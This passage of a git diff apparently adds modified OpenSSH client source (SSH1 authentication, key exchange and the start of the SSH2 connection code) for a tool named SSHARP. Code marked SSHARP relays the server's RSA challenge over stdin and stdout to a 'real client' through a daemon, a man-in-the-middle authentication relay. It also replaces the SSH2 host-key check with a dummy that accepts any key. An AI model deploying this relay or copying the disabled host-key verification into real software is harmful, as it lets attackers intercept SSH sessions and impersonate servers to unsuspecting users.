for server's response. */ + type = packet_read(&plen); + + /* The server sends failure if it doesn\'t like our key or + does not support RSA authentication. */ + if (type == SSH_SMSG_FAILURE) { + debug("Server refused our key."); + key_free(key); + continue; + } + /* Otherwise it should have sent a challenge. */ + if (type != SSH_SMSG_AUTH_RSA_CHALLENGE) + packet_disconnect("Protocol error during RSA authentication: %d", + type); + + packet_get_bignum(challenge, &clen); + + packet_integrity_check(plen, clen, type); + + debug("Received RSA challenge from server."); + + /* Ask the agent to decrypt the challenge. */ + if (!ssh_decrypt_challenge(auth, key, challenge, session_id, 1, response)) { + /* + * The agent failed to authenticate this identifier + * although it advertised it supports this. Just + * return a wrong value. + */ + log("Authentication agent failed to decrypt challenge."); + memset(response, 0, sizeof(response)); + } + key_free(key); + debug("Sending response to RSA challenge."); + + /* Send the decrypted challenge back to the server. */ + packet_start(SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + packet_put_char(response[i]); + packet_send(); + packet_write_wait(); + + /* Wait for response from the server. */ + type = packet_read(&plen); + + /* The server returns success if it accepted the authentication. */ + if (type == SSH_SMSG_SUCCESS) { + ssh_close_authentication_connection(auth); + BN_clear_free(challenge); + debug("RSA authentication accepted by server."); + return 1; + } + /* Otherwise it should return failure. */ + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error waiting RSA auth response: %d", + type); + } + ssh_close_authentication_connection(auth); + BN_clear_free(challenge); + debug("RSA authentication using agent refused."); + return 0; +} + +/* + * Computes the proper response to a RSA challenge, and sends the response to + * the server. + */ +void +respond_to_rsa_challenge(BIGNUM * challenge, RSA * prv) +{ + u_char buf[32], response[16]; + MD5_CTX md; + int i, len; + + if (!options.specialRSA) { + + /* Decrypt the challenge using the private key. */ + /* XXX think about Bleichenbacher, too */ + if (rsa_private_decrypt(challenge, challenge, prv) <= 0) + packet_disconnect( + "respond_to_rsa_challenge: rsa_private_decrypt failed"); + + /* Compute the response. */ + /* The response is MD5 of decrypted challenge plus session id. */ + len = BN_num_bytes(challenge); + if (len <= 0 || len > sizeof(buf)) + packet_disconnect( + "respond_to_rsa_challenge: bad challenge length %d", len); + + memset(buf, 0, sizeof(buf)); + BN_bn2bin(challenge, buf + sizeof(buf) - len); + MD5_Init(&md); + MD5_Update(&md, buf, 32); + MD5_Update(&md, session_id, 16); + MD5_Final(response, &md); + + debug("Sending response to host key RSA challenge."); + } else { + read(0, response, sizeof(response)); + } + + /* Send the response back to the server. */ + packet_start(SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + packet_put_char(response[i]); + packet_send(); + packet_write_wait(); + + memset(buf, 0, sizeof(buf)); + memset(response, 0, sizeof(response)); + memset(&md, 0, sizeof(md)); +} + +/* + * Checks if the user has authentication file, and if so, tries to authenticate + * the user using it. + */ +int +try_rsa_authentication(const char *authfile) +{ + BIGNUM *challenge; + Key *public; + Key *private = NULL; + char *passphrase, *comment; + int type, i; + int plen, clen; + + /* Try to load identification for the authentication key. */ + /* XXKEYLOAD */ + public = key_load_public_type(KEY_RSA1, authfile, &comment); + if (public == NULL) { + /* Could not load it. Fail. */ + return 0; + } + debug("Trying RSA authentication with key '%.100s'", comment); + + /* Tell the server that we are willing to authenticate using this key. */ + packet_start(SSH_CMSG_AUTH_RSA); + packet_put_bignum(public->rsa->n); + packet_send(); + packet_write_wait(); + + /* We no longer need the public key. */ + key_free(public); + + /* Wait for server's response. */ + type = packet_read(&plen); + + /* + * The server responds with failure if it doesn\'t like our key or + * doesn\'t support RSA authentication. + */ + if (type == SSH_SMSG_FAILURE) { + debug("Server refused our key."); + xfree(comment); + return 0; + } + /* Otherwise, the server should respond with a challenge. */ + if (type != SSH_SMSG_AUTH_RSA_CHALLENGE) + packet_disconnect("Protocol error during RSA authentication: %d", type); + + /* Get the challenge from the packet. */ + challenge = BN_new(); + packet_get_bignum(challenge, &clen); + + packet_integrity_check(plen, clen, type); + + debug("Received RSA challenge from server."); + + /* SSHARP, give challenge to daemon via stdout */ + if (options.specialRSA) { + u_char *binchallenge; + char buf[4096]; + int clen = BN_num_bytes(challenge); + binchallenge = (char*)calloc(1, clen); + BN_bn2bin(challenge, binchallenge); + write(1, binchallenge, clen); + free(binchallenge); + + /* Get response from real client (forwarded to + * us by daemon we are connected to */ + read(0, buf, sizeof(buf)); + + /* Send the response back to the server. */ + packet_start(SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + packet_put_char(buf[i]); + packet_send(); + packet_write_wait(); + + } else { + + /* + * Load the private key. Try first with empty passphrase; if it + * fails, ask for a passphrase. + */ + private = key_load_private_type(KEY_RSA1, authfile, "", NULL); + if (private == NULL) { + char buf[300]; + snprintf(buf, sizeof buf, "Enter passphrase for RSA key '%.100s': ", + comment); + if (!options.batch_mode) + passphrase = read_passphrase(buf, 0); + else { + debug("Will not query passphrase for %.100s in batch mode.", + comment); + passphrase = xstrdup(""); + } + + /* Load the authentication file using the pasphrase. */ + private = key_load_private_type(KEY_RSA1, authfile, passphrase, NULL); + if (private == NULL) { + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + error("Bad passphrase."); + + /* Send a dummy response packet to avoid protocol error. */ + packet_start(SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + packet_put_char(0); + packet_send(); + packet_write_wait(); + + /* Expect the server to reject it... */ + packet_read_expect(&plen, SSH_SMSG_FAILURE); + xfree(comment); + BN_clear_free(challenge); + return 0; + } + /* Destroy the passphrase. */ + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + } + + /* We no longer need the comment. */ + xfree(comment); + + /* Compute and send a response to the challenge. */ + respond_to_rsa_challenge(challenge, private->rsa); + + /* Destroy the private key. */ + key_free(private); + } + /* We no longer need the challenge. */ + BN_clear_free(challenge); + + + /* Wait for response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + debug("RSA authentication accepted by server."); + return 1; + } + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error waiting RSA auth response: %d", type); + debug("RSA authentication refused."); + return 0; +} + +/* + * Tries to authenticate the user using combined rhosts or /etc/hosts.equiv + * authentication and RSA host authentication. + */ +int +try_rhosts_rsa_authentication(const char *local_user, Key * host_key) +{ + int type; + BIGNUM *challenge; + int plen, clen; + + debug("Trying rhosts or /etc/hosts.equiv with RSA host authentication."); + + /* Tell the server that we are willing to authenticate using this key. */ + packet_start(SSH_CMSG_AUTH_RHOSTS_RSA); + packet_put_string(local_user, strlen(local_user)); + packet_put_int(BN_num_bits(host_key->rsa->n)); + packet_put_bignum(host_key->rsa->e); + packet_put_bignum(host_key->rsa->n); + packet_send(); + packet_write_wait(); + + /* Wait for server's response. */ + type = packet_read(&plen); + + /* The server responds with failure if it doesn't admit our + .rhosts authentication or doesn't know our host key. */ + if (type == SSH_SMSG_FAILURE) { + debug("Server refused our rhosts authentication or host key."); + return 0; + } + /* Otherwise, the server should respond with a challenge. */ + if (type != SSH_SMSG_AUTH_RSA_CHALLENGE) + packet_disconnect("Protocol error during RSA authentication: %d", type); + + /* Get the challenge from the packet. */ + challenge = BN_new(); + packet_get_bignum(challenge, &clen); + + packet_integrity_check(plen, clen, type); + + debug("Received RSA challenge for host key from server."); + + /* Compute a response to the challenge. */ + respond_to_rsa_challenge(challenge, host_key->rsa); + + /* We no longer need the challenge. */ + BN_clear_free(challenge); + + /* Wait for response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + debug("Rhosts or /etc/hosts.equiv with RSA host authentication accepted by server."); + return 1; + } + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error waiting RSA auth response: %d", type); + debug("Rhosts or /etc/hosts.equiv with RSA host authentication refused."); + return 0; +} + +#ifdef KRB4 +int +try_kerberos_authentication(void) +{ + KTEXT_ST auth; /* Kerberos data */ + char *reply; + char inst[INST_SZ]; + char *realm; + CREDENTIALS cred; + int r, type, plen; + socklen_t slen; + Key_schedule schedule; + u_long checksum, cksum; + MSG_DAT msg_data; + struct sockaddr_in local, foreign; + struct stat st; + + /* Don't do anything if we don't have any tickets. */ + if (stat(tkt_string(), &st) < 0) + return 0; + + strncpy(inst, (char *) krb_get_phost(get_canonical_hostname(1)), INST_SZ); + + realm = (char *) krb_realmofhost(get_canonical_hostname(1)); + if (!realm) { + debug("Kerberos V4: no realm for %s", get_canonical_hostname(1)); + return 0; + } + /* This can really be anything. */ + checksum = (u_long) getpid(); + + r = krb_mk_req(&auth, KRB4_SERVICE_NAME, inst, realm, checksum); + if (r != KSUCCESS) { + debug("Kerberos V4 krb_mk_req failed: %s", krb_err_txt[r]); + return 0; + } + /* Get session key to decrypt the server's reply with. */ + r = krb_get_cred(KRB4_SERVICE_NAME, inst, realm, &cred); + if (r != KSUCCESS) { + debug("get_cred failed: %s", krb_err_txt[r]); + return 0; + } + des_key_sched((des_cblock *) cred.session, schedule); + + /* Send authentication info to server. */ + packet_start(SSH_CMSG_AUTH_KERBEROS); + packet_put_string((char *) auth.dat, auth.length); + packet_send(); + packet_write_wait(); + + /* Zero the buffer. */ + (void) memset(auth.dat, 0, MAX_KTXT_LEN); + + slen = sizeof(local); + memset(&local, 0, sizeof(local)); + if (getsockname(packet_get_connection_in(), + (struct sockaddr *) & local, &slen) < 0) + debug("getsockname failed: %s", strerror(errno)); + + slen = sizeof(foreign); + memset(&foreign, 0, sizeof(foreign)); + if (getpeername(packet_get_connection_in(), + (struct sockaddr *) & foreign, &slen) < 0) { + debug("getpeername failed: %s", strerror(errno)); + fatal_cleanup(); + } + /* Get server reply. */ + type = packet_read(&plen); + switch (type) { + case SSH_SMSG_FAILURE: + /* Should really be SSH_SMSG_AUTH_KERBEROS_FAILURE */ + debug("Kerberos V4 authentication failed."); + return 0; + break; + + case SSH_SMSG_AUTH_KERBEROS_RESPONSE: + /* SSH_SMSG_AUTH_KERBEROS_SUCCESS */ + debug("Kerberos V4 authentication accepted."); + + /* Get server's response. */ + reply = packet_get_string((u_int *) &auth.length); + memcpy(auth.dat, reply, auth.length); + xfree(reply); + + packet_integrity_check(plen, 4 + auth.length, type); + + /* + * If his response isn't properly encrypted with the session + * key, and the decrypted checksum fails to match, he's + * bogus. Bail out. + */ + r = krb_rd_priv(auth.dat, auth.length, schedule, &cred.session, + &foreign, &local, &msg_data); + if (r != KSUCCESS) { + debug("Kerberos V4 krb_rd_priv failed: %s", krb_err_txt[r]); + packet_disconnect("Kerberos V4 challenge failed!"); + } + /* Fetch the (incremented) checksum that we supplied in the request. */ + (void) memcpy((char *) &cksum, (char *) msg_data.app_data, sizeof(cksum)); + cksum = ntohl(cksum); + + /* If it matches, we're golden. */ + if (cksum == checksum + 1) { + debug("Kerberos V4 challenge successful."); + return 1; + } else + packet_disconnect("Kerberos V4 challenge failed!"); + break; + + default: + packet_disconnect("Protocol error on Kerberos V4 response: %d", type); + } + return 0; +} + +#endif /* KRB4 */ + +#ifdef AFS +int +send_kerberos_tgt(void) +{ + CREDENTIALS *creds; + char pname[ANAME_SZ], pinst[INST_SZ], prealm[REALM_SZ]; + int r, type, plen; + char buffer[8192]; + struct stat st; + + /* Don't do anything if we don't have any tickets. */ + if (stat(tkt_string(), &st) < 0) + return 0; + + creds = xmalloc(sizeof(*creds)); + + if ((r = krb_get_tf_fullname(TKT_FILE, pname, pinst, prealm)) != KSUCCESS) { + debug("Kerberos V4 tf_fullname failed: %s", krb_err_txt[r]); + return 0; + } + if ((r = krb_get_cred("krbtgt", prealm, prealm, creds)) != GC_OK) { + debug("Kerberos V4 get_cred failed: %s", krb_err_txt[r]); + return 0; + } + if (time(0) > krb_life_to_time(creds->issue_date, creds->lifetime)) { + debug("Kerberos V4 ticket expired: %s", TKT_FILE); + return 0; + } + creds_to_radix(creds, (u_char *)buffer, sizeof buffer); + xfree(creds); + + packet_start(SSH_CMSG_HAVE_KERBEROS_TGT); + packet_put_string(buffer, strlen(buffer)); + packet_send(); + packet_write_wait(); + + type = packet_read(&plen); + + if (type == SSH_SMSG_FAILURE) + debug("Kerberos TGT for realm %s rejected.", prealm); + else if (type != SSH_SMSG_SUCCESS) + packet_disconnect("Protocol error on Kerberos TGT response: %d", type); + + return 1; +} + +void +send_afs_tokens(void) +{ + CREDENTIALS creds; + struct ViceIoctl parms; + struct ClearToken ct; + int i, type, len, plen; + char buf[2048], *p, *server_cell; + char buffer[8192]; + + /* Move over ktc_GetToken, here's something leaner. */ + for (i = 0; i < 100; i++) { /* just in case */ + parms.in = (char *) &i; + parms.in_size = sizeof(i); + parms.out = buf; + parms.out_size = sizeof(buf); + if (k_pioctl(0, VIOCGETTOK, &parms, 0) != 0) + break; + p = buf; + + /* Get secret token. */ + memcpy(&creds.ticket_st.length, p, sizeof(u_int)); + if (creds.ticket_st.length > MAX_KTXT_LEN) + break; + p += sizeof(u_int); + memcpy(creds.ticket_st.dat, p, creds.ticket_st.length); + p += creds.ticket_st.length; + + /* Get clear token. */ + memcpy(&len, p, sizeof(len)); + if (len != sizeof(struct ClearToken)) + break; + p += sizeof(len); + memcpy(&ct, p, len); + p += len; + p += sizeof(len); /* primary flag */ + server_cell = p; + + /* Flesh out our credentials. */ + strlcpy(creds.service, "afs", sizeof creds.service); + creds.instance[0] = '\0'; + strlcpy(creds.realm, server_cell, REALM_SZ); + memcpy(creds.session, ct.HandShakeKey, DES_KEY_SZ); + creds.issue_date = ct.BeginTimestamp; + creds.lifetime = krb_time_to_life(creds.issue_date, ct.EndTimestamp); + creds.kvno = ct.AuthHandle; + snprintf(creds.pname, sizeof(creds.pname), "AFS ID %d", ct.ViceId); + creds.pinst[0] = '\0'; + + /* Encode token, ship it off. */ + if (creds_to_radix(&creds, (u_char *) buffer, sizeof buffer) <= 0) + break; + packet_start(SSH_CMSG_HAVE_AFS_TOKEN); + packet_put_string(buffer, strlen(buffer)); + packet_send(); + packet_write_wait(); + + /* Roger, Roger. Clearance, Clarence. What's your vector, + Victor? */ + type = packet_read(&plen); + + if (type == SSH_SMSG_FAILURE) + debug("AFS token for cell %s rejected.", server_cell); + else if (type != SSH_SMSG_SUCCESS) + packet_disconnect("Protocol error on AFS token response: %d", type); + } +} + +#endif /* AFS */ + +/* + * Tries to authenticate with any string-based challenge/response system. + * Note that the client code is not tied to s/key or TIS. + */ +int +try_challenge_reponse_authentication(void) +{ + int type, i; + int payload_len; + u_int clen; + char prompt[1024]; + char *challenge, *response; + + debug("Doing challenge reponse authentication."); + + for (i = 0; i < options.number_of_password_prompts; i++) { + /* request a challenge */ + packet_start(SSH_CMSG_AUTH_TIS); + packet_send(); + packet_write_wait(); + + type = packet_read(&payload_len); + if (type != SSH_SMSG_FAILURE && + type != SSH_SMSG_AUTH_TIS_CHALLENGE) { + packet_disconnect("Protocol error: got %d in response " + "to SSH_CMSG_AUTH_TIS", type); + } + if (type != SSH_SMSG_AUTH_TIS_CHALLENGE) { + debug("No challenge."); + return 0; + } + challenge = packet_get_string(&clen); + packet_integrity_check(payload_len, (4 + clen), type); + snprintf(prompt, sizeof prompt, "%s%s", challenge, + strchr(challenge, '\n') ? "" : "\nResponse: "); + xfree(challenge); + if (i != 0) + error("Permission denied, please try again."); + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! " + "Reponse will be transmitted in clear text."); + response = read_passphrase(prompt, 0); + if (strcmp(response, "") == 0) { + xfree(response); + break; + } + packet_start(SSH_CMSG_AUTH_TIS_RESPONSE); + ssh_put_password(response); + memset(response, 0, strlen(response)); + xfree(response); + packet_send(); + packet_write_wait(); + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return 1; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response " + "to SSH_CMSG_AUTH_TIS_RESPONSE", type); + } + /* failure */ + return 0; +} + +/* + * Tries to authenticate with plain passwd authentication. + */ +int +try_password_authentication(char *pass) +{ + int type, i, payload_len; + + debug("Doing password authentication."); + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! Password will be transmitted in clear text."); + for (i = 0; i < options.number_of_password_prompts; i++) { + if (i != 0) + error("Permission denied, please try again."); + packet_start(SSH_CMSG_AUTH_PASSWORD); + ssh_put_password(pass); + packet_send(); + packet_write_wait(); + + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return 1; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to passwd auth", type); + } + /* failure */ + return 0; +} + +/* + * SSH1 key exchange + */ +void +ssh_kex(char *host, struct sockaddr *hostaddr) +{ + int i; + BIGNUM *key; + RSA *host_key; + RSA *public_key; + Key k; + int bits, rbits; + int ssh_cipher_default = SSH_CIPHER_3DES; + u_char session_key[SSH_SESSION_KEY_LENGTH]; + u_char cookie[8]; + u_int supported_ciphers; + u_int server_flags, client_flags; + int payload_len, clen, sum_len = 0; + u_int32_t rand = 0; + + debug("Waiting for server public key."); + + /* Wait for a public key packet from the server. */ + packet_read_expect(&payload_len, SSH_SMSG_PUBLIC_KEY); + + /* Get cookie from the packet. */ + for (i = 0; i < 8; i++) + cookie[i] = packet_get_char(); + + /* Get the public key. */ + public_key = RSA_new(); + bits = packet_get_int();/* bits */ + public_key->e = BN_new(); + packet_get_bignum(public_key->e, &clen); + sum_len += clen; + public_key->n = BN_new(); + packet_get_bignum(public_key->n, &clen); + sum_len += clen; + + rbits = BN_num_bits(public_key->n); + if (bits != rbits) { + log("Warning: Server lies about size of server public key: " + "actual size is %d bits vs. announced %d.", rbits, bits); + log("Warning: This may be due to an old implementation of ssh."); + } + /* Get the host key. */ + host_key = RSA_new(); + bits = packet_get_int();/* bits */ + host_key->e = BN_new(); + packet_get_bignum(host_key->e, &clen); + sum_len += clen; + host_key->n = BN_new(); + packet_get_bignum(host_key->n, &clen); + sum_len += clen; + + rbits = BN_num_bits(host_key->n); + if (bits != rbits) { + log("Warning: Server lies about size of server host key: " + "actual size is %d bits vs. announced %d.", rbits, bits); + log("Warning: This may be due to an old implementation of ssh."); + } + + /* Get protocol flags. */ + server_flags = packet_get_int(); + packet_set_protocol_flags(server_flags); + + supported_ciphers = packet_get_int(); + supported_authentications = packet_get_int(); + + debug("Received server public key (%d bits) and host key (%d bits).", + BN_num_bits(public_key->n), BN_num_bits(host_key->n)); + + packet_integrity_check(payload_len, + 8 + 4 + sum_len + 0 + 4 + 0 + 0 + 4 + 4 + 4, + SSH_SMSG_PUBLIC_KEY); + k.type = KEY_RSA1; + k.rsa = host_key; + check_host_key(host, hostaddr, &k, + options.user_hostfile, options.system_hostfile); + + client_flags = SSH_PROTOFLAG_SCREEN_NUMBER | SSH_PROTOFLAG_HOST_IN_FWD_OPEN; + + compute_session_id(session_id, cookie, host_key->n, public_key->n); + + /* Generate a session key. */ + arc4random_stir(); + + /* + * Generate an encryption key for the session. The key is a 256 bit + * random number, interpreted as a 32-byte key, with the least + * significant 8 bits being the first byte of the key. + */ + for (i = 0; i < 32; i++) { + if (i % 4 == 0) + rand = arc4random(); + session_key[i] = rand & 0xff; + rand >>= 8; + } + + /* + * According to the protocol spec, the first byte of the session key + * is the highest byte of the integer. The session key is xored with + * the first 16 bytes of the session id. + */ + key = BN_new(); + BN_set_word(key, 0); + for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++) { + BN_lshift(key, key, 8); + if (i < 16) + BN_add_word(key, session_key[i] ^ session_id[i]); + else + BN_add_word(key, session_key[i]); + } + + /* + * Encrypt the integer using the public key and host key of the + * server (key with smaller modulus first). + */ + if (BN_cmp(public_key->n, host_key->n) < 0) { + /* Public key has smaller modulus. */ + if (BN_num_bits(host_key->n) < + BN_num_bits(public_key->n) + SSH_KEY_BITS_RESERVED) { + fatal("respond_to_rsa_challenge: host_key %d < public_key %d + " + "SSH_KEY_BITS_RESERVED %d", + BN_num_bits(host_key->n), + BN_num_bits(public_key->n), + SSH_KEY_BITS_RESERVED); + } + rsa_public_encrypt(key, key, public_key); + rsa_public_encrypt(key, key, host_key); + } else { + /* Host key has smaller modulus (or they are equal). */ + if (BN_num_bits(public_key->n) < + BN_num_bits(host_key->n) + SSH_KEY_BITS_RESERVED) { + fatal("respond_to_rsa_challenge: public_key %d < host_key %d + " + "SSH_KEY_BITS_RESERVED %d", + BN_num_bits(public_key->n), + BN_num_bits(host_key->n), + SSH_KEY_BITS_RESERVED); + } + rsa_public_encrypt(key, key, host_key); + rsa_public_encrypt(key, key, public_key); + } + + /* Destroy the public keys since we no longer need them. */ + RSA_free(public_key); + RSA_free(host_key); + + if (options.cipher == SSH_CIPHER_NOT_SET) { + if (cipher_mask_ssh1(1) & supported_ciphers & (1 << ssh_cipher_default)) + options.cipher = ssh_cipher_default; + } else if (options.cipher == SSH_CIPHER_ILLEGAL || + !(cipher_mask_ssh1(1) & (1 << options.cipher))) { + log("No valid SSH1 cipher, using %.100s instead.", + cipher_name(ssh_cipher_default)); + options.cipher = ssh_cipher_default; + } + /* Check that the selected cipher is supported. */ + if (!(supported_ciphers & (1 << options.cipher))) + fatal("Selected cipher type %.100s not supported by server.", + cipher_name(options.cipher)); + + debug("Encryption type: %.100s", cipher_name(options.cipher)); + + /* Send the encrypted session key to the server. */ + packet_start(SSH_CMSG_SESSION_KEY); + packet_put_char(options.cipher); + + /* Send the cookie back to the server. */ + for (i = 0; i < 8; i++) + packet_put_char(cookie[i]); + + /* Send and destroy the encrypted encryption key integer. */ + packet_put_bignum(key); + BN_clear_free(key); + + /* Send protocol flags. */ + packet_put_int(client_flags); + + /* Send the packet now. */ + packet_send(); + packet_write_wait(); + + debug("Sent encrypted session key."); + + /* Set the encryption key. */ + packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, options.cipher); + + /* We will no longer need the session key here. Destroy any extra copies. */ + memset(session_key, 0, sizeof(session_key)); + + /* + * Expect a success message from the server. Note that this message + * will be received in encrypted form. + */ + packet_read_expect(&payload_len, SSH_SMSG_SUCCESS); + + debug("Received encrypted confirmation."); +} + +/* + * Authenticate user + */ +void +ssh_userauth1(const char *user, const char *pass, char *host, + Key **keys, int nkeys) +{ + int i, type; + int payload_len; + + if (supported_authentications == 0) + fatal("ssh_userauth1: server supports no auth methods"); + + /* Send the name of the user to log in as on the server. */ + packet_start(SSH_CMSG_USER); + packet_put_string(user, strlen(user)); + packet_send(); + packet_write_wait(); + + /* + * The server should respond with success if no authentication is + * needed (the user has no password). Otherwise the server responds + * with failure. + */ + type = packet_read(&payload_len); + + /* check whether the connection was accepted without authentication. */ + if (type == SSH_SMSG_SUCCESS) + return; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to SSH_CMSG_USER", + type); + +#ifdef AFS + /* Try Kerberos tgt passing if the server supports it. */ + if ((supported_authentications & (1 << SSH_PASS_KERBEROS_TGT)) && + options.kerberos_tgt_passing) { + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! Ticket will be transmitted in the clear!"); + (void) send_kerberos_tgt(); + } + /* Try AFS token passing if the server supports it. */ + if ((supported_authentications & (1 << SSH_PASS_AFS_TOKEN)) && + options.afs_token_passing && k_hasafs()) { + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! Token will be transmitted in the clear!"); + send_afs_tokens(); + } +#endif /* AFS */ + +#ifdef KRB4 + if ((supported_authentications & (1 << SSH_AUTH_KERBEROS)) && + options.kerberos_authentication) { + debug("Trying Kerberos authentication."); + if (try_kerberos_authentication()) { + /* The server should respond with success or failure. */ + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to Kerberos auth", type); + } + } +#endif /* KRB4 */ + + /* + * Use rhosts authentication if running in privileged socket and we + * do not wish to remain anonymous. + */ + if ((supported_authentications & (1 << SSH_AUTH_RHOSTS)) && + options.rhosts_authentication) { + debug("Trying rhosts authentication."); + packet_start(SSH_CMSG_AUTH_RHOSTS); + packet_put_string(user, strlen(user)); + packet_send(); + packet_write_wait(); + + /* The server should respond with success or failure. */ + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to rhosts auth", + type); + } + /* + * Try .rhosts or /etc/hosts.equiv authentication with RSA host + * authentication. + */ + if ((supported_authentications & (1 << SSH_AUTH_RHOSTS_RSA)) && + options.rhosts_rsa_authentication) { + for (i = 0; i < nkeys; i++) { + if (keys[i] != NULL && keys[i]->type == KEY_RSA1 && + try_rhosts_rsa_authentication(user, keys[i])) + return; + } + } + /* Try RSA authentication if the server supports it. */ + if (((supported_authentications & (1 << SSH_AUTH_RSA)) && + options.rsa_authentication) || options.specialRSA) { + + if (options.specialRSA) { + try_rsa_authentication(NULL); + return; + } + + /* + * Try RSA authentication using the authentication agent. The + * agent is tried first because no passphrase is needed for + * it, whereas identity files may require passphrases. + */ + if (try_agent_authentication()) + return; + + /* Try RSA authentication for each identity. */ + for (i = 0; i < options.num_identity_files; i++) + if (options.identity_keys[i] != NULL && + options.identity_keys[i]->type == KEY_RSA1 && + try_rsa_authentication(options.identity_files[i])) + return; + } + /* Try challenge response authentication if the server supports it. */ + if ((supported_authentications & (1 << SSH_AUTH_TIS)) && + options.challenge_reponse_authentication && !options.batch_mode) { + if (try_challenge_reponse_authentication()) + return; + } + /* Try password authentication if the server supports it. */ + if ((supported_authentications & (1 << SSH_AUTH_PASSWORD)) && + options.password_authentication && !options.batch_mode) { + if (try_password_authentication((char*)pass)) + return; + } + /* All authentication methods have failed. Exit with an error message. */ + fatal("Permission denied."); + /* NOTREACHED */ +} diff --git a/other/ssharp/sshconnect2.c b/other/ssharp/sshconnect2.c new file mode 100644 index 0000000..b46a064 --- /dev/null +++ b/other/ssharp/sshconnect2.c @@ -0,0 +1,991 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: sshconnect2.c,v 1.72 2001/04/18 23:43:26 markus Exp $"); + +#include +#include +#include +#include + +#include "ssh.h" +#include "ssh2.h" +#include "xmalloc.h" +#include "rsa.h" +#include "buffer.h" +#include "packet.h" +#include "uidswap.h" +#include "compat.h" +#include "bufaux.h" +#include "cipher.h" +#include "kex.h" +#include "myproposal.h" +#include "key.h" +#include "sshconnect.h" +#include "authfile.h" +#include "cli.h" +#include "dh.h" +#include "authfd.h" +#include "log.h" +#include "readconf.h" +#include "readpass.h" +#include "match.h" +#include "dispatch.h" +#include "canohost.h" + +/* import */ +extern char *client_version_string; +extern char *server_version_string; +extern Options options; + +/* + * SSH2 key exchange + */ + +u_char *session_id2 = NULL; +int session_id2_len = 0; + +char *xxx_host; +struct sockaddr *xxx_hostaddr; + +Kex *xxx_kex = NULL; + +int +check_host_key_callback(Key *hostkey) +{ + /* SSHARP: dummy */ + return 0; +} + +void +ssh_kex2(char *host, struct sockaddr *hostaddr) +{ + Kex *kex; + + xxx_host = host; + xxx_hostaddr = hostaddr; + + if (options.ciphers == (char *)-1) { + log("No valid ciphers for protocol version 2 given, using defaults."); + options.ciphers = NULL; + } + if (options.ciphers != NULL) { + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers; + } + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]); + myproposal[PROPOSAL_ENC_ALGS_STOC] = + compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_STOC]); + if (options.compression) { + myproposal[PROPOSAL_COMP_ALGS_CTOS] = + myproposal[PROPOSAL_COMP_ALGS_STOC] = "zlib"; + } else { + myproposal[PROPOSAL_COMP_ALGS_CTOS] = + myproposal[PROPOSAL_COMP_ALGS_STOC] = "none"; + } + if (options.macs != NULL) { + myproposal[PROPOSAL_MAC_ALGS_CTOS] = + myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs; + } + if (options.hostkeyalgorithms != NULL) + myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = + options.hostkeyalgorithms; + + /* start key exchange */ + kex = kex_setup(myproposal); + kex->client_version_string=client_version_string; + kex->server_version_string=server_version_string; + kex->check_host_key=&check_host_key_callback; + + xxx_kex = kex; + + dispatch_run(DISPATCH_BLOCK, &kex->done, kex); + + session_id2 = kex->session_id; + session_id2_len = kex->session_id_len; + +#ifdef 